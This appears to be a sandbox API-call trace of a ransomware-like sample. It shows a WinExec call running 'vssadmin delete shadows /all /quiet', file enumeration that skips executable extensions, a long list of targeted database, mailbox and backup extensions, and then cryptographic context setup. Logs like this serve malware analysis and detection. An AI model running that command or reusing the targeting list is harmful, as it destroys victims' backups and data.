	[0146.352] GetCurrentThreadId () returned 0xb38
	[0146.352] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.355] GetCurrentThreadId () returned 0xb38
	[0146.355] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.374] GetCurrentThreadId () returned 0xb38
	[0146.374] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.399] GetCurrentThreadId () returned 0xb38
	[0146.399] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.420] GetCurrentThreadId () returned 0xb38
	[0146.420] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.456] GetCurrentThreadId () returned 0xb38
	[0146.456] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.618] GetCurrentThreadId () returned 0xb38
	[0146.618] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.619] GetCurrentThreadId () returned 0xb38
	[0146.619] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.623] GetCurrentThreadId () returned 0xb38
	[0146.623] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.677] GetCurrentThreadId () returned 0xb38
	[0146.677] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.794] GetCurrentThreadId () returned 0xb38
	[0146.794] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.825] GetCurrentThreadId () returned 0xb38
	[0146.825] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.849] GetCurrentThreadId () returned 0xb38
	[0146.849] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.861] GetCurrentThreadId () returned 0xb38
	[0146.861] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.908] GetCurrentThreadId () returned 0xb38
	[0146.908] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.921] GetCurrentThreadId () returned 0xb38
	[0146.921] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.963] GetCurrentThreadId () returned 0xb38
	[0146.963] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.980] GetCurrentThreadId () returned 0xb38
	[0146.980] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.984] GetCurrentThreadId () returned 0xb38
	[0146.984] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0147.014] GetCurrentThreadId () returned 0xb38
	[0147.014] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0147.175] GetCurrentThreadId () returned 0xb38
	[0147.175] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0147.193] GetCurrentThreadId () returned 0xb38
	[0147.193] SleepConditionVariableSRW (ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0) 

Thread:
	id = 2
	os_tid = 0xafc

	[0060.211] VirtualAlloc (lpAddress=0x0, dwSize=0x60e, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0060.211] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0060.212] WinExec (lpCmdLine="vssadmin delete shadows /all /quiet", uCmdShow=0x0) returned 0x21

Thread:
	id = 3
	os_tid = 0xb00


Thread:
	id = 5
	os_tid = 0xaf0

	[0061.715] GetLastError () returned 0x0
	[0061.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x364) returned 0x369128
	[0061.715] SetLastError (dwErrCode=0x0) 
	[0061.715] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0
	[0061.715] GetLastError () returned 0x57
	[0061.715] GetCurrentThreadId () returned 0xaf0
	[0061.715] GetCurrentThreadId () returned 0xaf0
	[0061.716] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.735] GetCurrentThreadId () returned 0xaf0
	[0061.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.735] lstrlenW (lpString=".scr") returned 4
	[0061.735] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".scr") returned 0x0
	[0061.735] lstrlenW (lpString=".cmd") returned 4
	[0061.735] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".cmd") returned 0x0
	[0061.735] lstrlenW (lpString=".dll") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".dll") returned 0x0
	[0061.736] lstrlenW (lpString=".bat") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".bat") returned 0x0
	[0061.736] lstrlenW (lpString=".cpl") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".cpl") returned 0x0
	[0061.736] lstrlenW (lpString=".sys") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".sys") returned 0x0
	[0061.736] lstrlenW (lpString=".msc") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".msc") returned 0x0
	[0061.736] lstrlenW (lpString=".com") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".com") returned 0x0
	[0061.736] lstrlenW (lpString=".lnk") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".lnk") returned 0x0
	[0061.736] lstrlenW (lpString=".msp") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".msp") returned 0x0
	[0061.736] lstrlenW (lpString=".pif") returned 4
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch=".pif") returned 0x0
	[0061.736] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.736] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0061.736] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\." (normalized: "c:\\$recycle.bin\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.736] RtlWakeConditionVariable () returned 0x365f70
	[0061.736] GetCurrentThreadId () returned 0xaf0
	[0061.737] GetCurrentThreadId () returned 0xaf0
	[0061.737] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.744] GetCurrentThreadId () returned 0xaf0
	[0061.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d7f8
	[0061.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0061.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c848 | out: hHeap=0x300000) returned 1
	[0061.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0061.744] lstrlenW (lpString=".scr") returned 4
	[0061.744] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".scr") returned 0x0
	[0061.745] lstrlenW (lpString=".cmd") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".cmd") returned 0x0
	[0061.745] lstrlenW (lpString=".dll") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dll") returned 0x0
	[0061.745] lstrlenW (lpString=".bat") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".bat") returned 0x0
	[0061.745] lstrlenW (lpString=".cpl") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".cpl") returned 0x0
	[0061.745] lstrlenW (lpString=".sys") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".sys") returned 0x0
	[0061.745] lstrlenW (lpString=".msc") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".msc") returned 0x0
	[0061.745] lstrlenW (lpString=".com") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".com") returned 0x0
	[0061.745] lstrlenW (lpString=".lnk") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".lnk") returned 0x0
	[0061.745] lstrlenW (lpString=".msp") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".msp") returned 0x0
	[0061.745] lstrlenW (lpString=".pif") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".pif") returned 0x0
	[0061.745] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch="msp\r\n.pif") returned 0x0
	[0061.745] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0061.745] lstrlenW (lpString=".sqb") returned 4
	[0061.745] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".sqb") returned 0x0
	[0061.745] lstrlenW (lpString=".ost") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".ost") returned 0x0
	[0061.746] lstrlenW (lpString=".txt") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".txt") returned 0x0
	[0061.746] lstrlenW (lpString=".mdt") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".mdt") returned 0x0
	[0061.746] lstrlenW (lpString=".BDB") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".BDB") returned 0x0
	[0061.746] lstrlenW (lpString=".eql") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".eql") returned 0x0
	[0061.746] lstrlenW (lpString=".DBF") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DBF") returned 0x0
	[0061.746] lstrlenW (lpString=".EQL") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".EQL") returned 0x0
	[0061.746] lstrlenW (lpString=".FDB") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".FDB") returned 0x0
	[0061.746] lstrlenW (lpString=".EDB") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".EDB") returned 0x0
	[0061.746] lstrlenW (lpString=".DACPAC") returned 7
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DACPAC") returned 0x0
	[0061.746] lstrlenW (lpString=".VHD") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".VHD") returned 0x0
	[0061.746] lstrlenW (lpString=".DBV") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DBV") returned 0x0
	[0061.746] lstrlenW (lpString=".dacpac") returned 7
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dacpac") returned 0x0
	[0061.746] lstrlenW (lpString=".sdf") returned 4
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".sdf") returned 0x0
	[0061.746] lstrlenW (lpString=".accdb") returned 6
	[0061.746] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".accdb") returned 0x0
	[0061.746] lstrlenW (lpString=".DBX") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DBX") returned 0x0
	[0061.747] lstrlenW (lpString=".MDT") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".MDT") returned 0x0
	[0061.747] lstrlenW (lpString=".SQB") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".SQB") returned 0x0
	[0061.747] lstrlenW (lpString=".vhd") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".vhd") returned 0x0
	[0061.747] lstrlenW (lpString=".bac") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".bac") returned 0x0
	[0061.747] lstrlenW (lpString=".mdf") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".mdf") returned 0x0
	[0061.747] lstrlenW (lpString=".BAK") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".BAK") returned 0x0
	[0061.747] lstrlenW (lpString=".BAC") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".BAC") returned 0x0
	[0061.747] lstrlenW (lpString=".dbs") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dbs") returned 0x0
	[0061.747] lstrlenW (lpString=".vhdx") returned 5
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".vhdx") returned 0x0
	[0061.747] lstrlenW (lpString=".NDF") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".NDF") returned 0x0
	[0061.747] lstrlenW (lpString=".dat") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dat") returned 0x0
	[0061.747] lstrlenW (lpString=".DBS") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DBS") returned 0x0
	[0061.747] lstrlenW (lpString=".CKP") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".CKP") returned 0x0
	[0061.747] lstrlenW (lpString=".edb") returned 4
	[0061.747] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".edb") returned 0x0
	[0061.747] lstrlenW (lpString=".PST") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".PST") returned 0x0
	[0061.748] lstrlenW (lpString=".dbf") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dbf") returned 0x0
	[0061.748] lstrlenW (lpString=".SQL") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".SQL") returned 0x0
	[0061.748] lstrlenW (lpString=".pst") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".pst") returned 0x0
	[0061.748] lstrlenW (lpString=".dbv") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dbv") returned 0x0
	[0061.748] lstrlenW (lpString=".SDF") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".SDF") returned 0x0
	[0061.748] lstrlenW (lpString=".dtxs") returned 5
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dtxs") returned 0x0
	[0061.748] lstrlenW (lpString=".db3") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".db3") returned 0x0
	[0061.748] lstrlenW (lpString=".OST") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".OST") returned 0x0
	[0061.748] lstrlenW (lpString=".dbx") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dbx") returned 0x0
	[0061.748] lstrlenW (lpString=".DB3") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DB3") returned 0x0
	[0061.748] lstrlenW (lpString=".DAT") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DAT") returned 0x0
	[0061.748] lstrlenW (lpString=".VHDX") returned 5
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".VHDX") returned 0x0
	[0061.748] lstrlenW (lpString=".ndf") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".ndf") returned 0x0
	[0061.748] lstrlenW (lpString=".DB") returned 3
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DB") returned 0x0
	[0061.748] lstrlenW (lpString=".sql") returned 4
	[0061.748] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".sql") returned 0x0
	[0061.748] lstrlenW (lpString=".MYD") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".MYD") returned 0x0
	[0061.749] lstrlenW (lpString=".DBT") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DBT") returned 0x0
	[0061.749] lstrlenW (lpString=".ACCDB") returned 6
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".ACCDB") returned 0x0
	[0061.749] lstrlenW (lpString=".fdb") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".fdb") returned 0x0
	[0061.749] lstrlenW (lpString=".bak") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".bak") returned 0x0
	[0061.749] lstrlenW (lpString=".myd") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".myd") returned 0x0
	[0061.749] lstrlenW (lpString=".DTXS") returned 5
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".DTXS") returned 0x0
	[0061.749] lstrlenW (lpString=".ckp") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".ckp") returned 0x0
	[0061.749] lstrlenW (lpString=".dbt") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".dbt") returned 0x0
	[0061.749] lstrlenW (lpString=".db") returned 3
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".db") returned 0x0
	[0061.749] lstrlenW (lpString=".TXT") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".TXT") returned 0x0
	[0061.749] lstrlenW (lpString=".MDF") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".MDF") returned 0x0
	[0061.749] lstrlenW (lpString=".bdb") returned 4
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".bdb") returned 0x0
	[0061.749] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0061.749] StrStrW (lpFirst="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0061.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d8a0
	[0061.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362ef0
	[0061.750] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x363d38) returned 1
